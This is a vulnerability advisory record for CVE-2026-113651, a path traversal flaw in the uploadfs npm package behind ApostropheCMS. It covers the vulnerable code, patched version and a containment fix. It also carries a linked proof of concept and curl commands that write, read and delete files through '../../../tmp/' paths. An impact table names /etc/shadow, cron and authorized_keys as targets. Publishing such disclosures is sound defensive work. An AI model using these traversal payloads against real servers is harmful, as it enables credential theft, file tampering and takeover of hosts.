---
id: CVE-2026-113651
aliases:
  - GHSA-gmfx-5g6x-rr72
title: 'ApostropheCMS: Path traversal in uploadfs'
summary: 'ApostropheCMS: Path traversal in uploadfs'
severity: low
cvss: 3.3
cwe:
  - CWE-22
vendor: uploadfs
product: uploadfs
ecosystem: npm
affected:
  - uploadfs < 1.28.0
patched:
  - uploadfs 1.28.0
published: '2026-10-20'
updated: '2026-10-20'
sourceUpdated: '2026-10-20T18:22:01Z'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-gmfx-5g6x-rr72'
references:
  - url: >-
      https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-gmfx-5g6x-rr72
  - url: >-
      https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce
  - url: >-
      https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350
  - url: 'https://github.com/apostrophecms/apostrophe/releases/tag/uploadfs@1.28.0'
  - url: 'https://github.com/advisories/GHSA-gmfx-5g6x-rr72'
tags:
  - ghsa
  - npm
  - cve.org
  - exploit-available
exploitAvailable: true
ssvc:
  exploitation: poc
  automatable: 'no'
  technicalImpact: partial
  timestamp: '2026-10-20T17:20:04.228561Z'
ingestedAt: '2026-10-20T17:12:53.603Z'
---

## Overview

## Summary
The `uploadfs` library's local storage backend does not validate or sanitize user-supplied paths. The `prefixPath()` helper only strips double slashes (`//`) and the backend performs direct string concatenation (`uploadsPath + path`). An attacker can inject `../` sequences to escape the intended uploads directory, resulting in arbitrary file read, write, and delete on the host filesystem.

---

## Details

### Root Cause
`packages/uploadfs/uploadfs.js:652-655`

https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/uploadfs.js#L652-L655

```javascript
function prefixPath(path) {
    // Resolve any double // that results from the prefix
    return (self.prefix + path).replace(/\/\//g, '/');
}
```

`packages/uploadfs/lib/storage/local.js`

https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L92-L95
https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L102-L104
https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L106-L108


```javascript
copyIn: function(localPath, path, options, callback) {
    const uploadPath = uploadsPath + path;  // [VULNERABLE]
    return copyFile(localPath, uploadPath, callback);
},
streamOut: function(path, options) {
    return fs.createReadStream(uploadsPath + path);  // [VULNERABLE]
},
remove: function(path, callback) {
    const uploadPath = uploadsPath + path;  // [VULNERABLE]
    fs.unlink(uploadPath, callback);
```

- `prefixPath()` does **not** normalize paths or reject `../`.
- The local backend concatenates the path directly into the filesystem call.
- Node.js resolves `/app/uploads/../../../tmp/pwned.txt` → `/tmp/pwned.txt`.

---

## Proof of Concept (PoC)

Here is the poc files 
https://drive.proton.me/urls/AKY4V5S0JR#Vw6XJdVCZafk

### Build and run
```bash
docker load < apostrophe-uploadfs-poc.tar
docker run -d -p 3000:3000 --name uploadfs-poc apostrophe-uploadfs-poc
python3 exploit.py
```

### Expected output
```text
[UPLOAD] Status: 200 | Body: Uploaded to ../../../tmp/pwned.txt
[READ]
Status: 200| Body: You have been pwned!
[+] Vulnerability confirmed: arbitrary file write/read/delete via path traversal.
```

<img width="885" height="171" alt="Screenshot 2026-07-22 at 08 57 46" src="https://github.com/user-attachments/assets/1b3ab5d5-43e4-4a81-8d19-c2270da072ae" />

### Manual reproduction
```bash
# Write outside uploads directory
curl -X POST http://localhost:3000/upload \
  -F "path=../../../tmp/backdoor.txt" \
  -F "file=@-;filename=backdoor.txt" <<< "malicious content"

# Read it back
curl "http://localhost:3000/read?path=../../../tmp/backdoor.txt"

# Delete it
curl -X DELETE "http://localhost:3000/remove?path=../../../tmp/backdoor.txt"
```

<img width="1004" height="114" alt="Screenshot 2026-07-22 at 08 58 36" src="https://github.com/user-attachments/assets/26b59a98-1834-4f00-8e18-c869812ddd58" />

---

## Impact

| Capability | Risk |
|------------|------|
| **Arbitrary File Write** | Write to `/etc/cron.d/`, `.ssh/authorized_keys`, or webroot files → **Remote Code Execution** |
| **Arbitrary File Read** | Exfiltrate `/etc/shadow`, application configs, database credentials |
| **Arbitrary File Delete** | Destroy system or application files → **Denial of Service** |

---

## Remediation

Add path containment validation inside `uploadfs` (and every storage backend) before any filesystem operation:

```javascript
const path = require('path');
function safePath(base, target) {
  const resolved = path.resolve(base, target);
  if (!resolved.startsWith(path.resolve(base) + path.sep)) {
    throw new Error('Path traversal blocked: target is outside the intended directory');
  }
  return resolved;
}
```

## Affected packages

- `uploadfs < 1.28.0`

## Remediation

Upgrade to a patched release:

- `uploadfs 1.28.0`
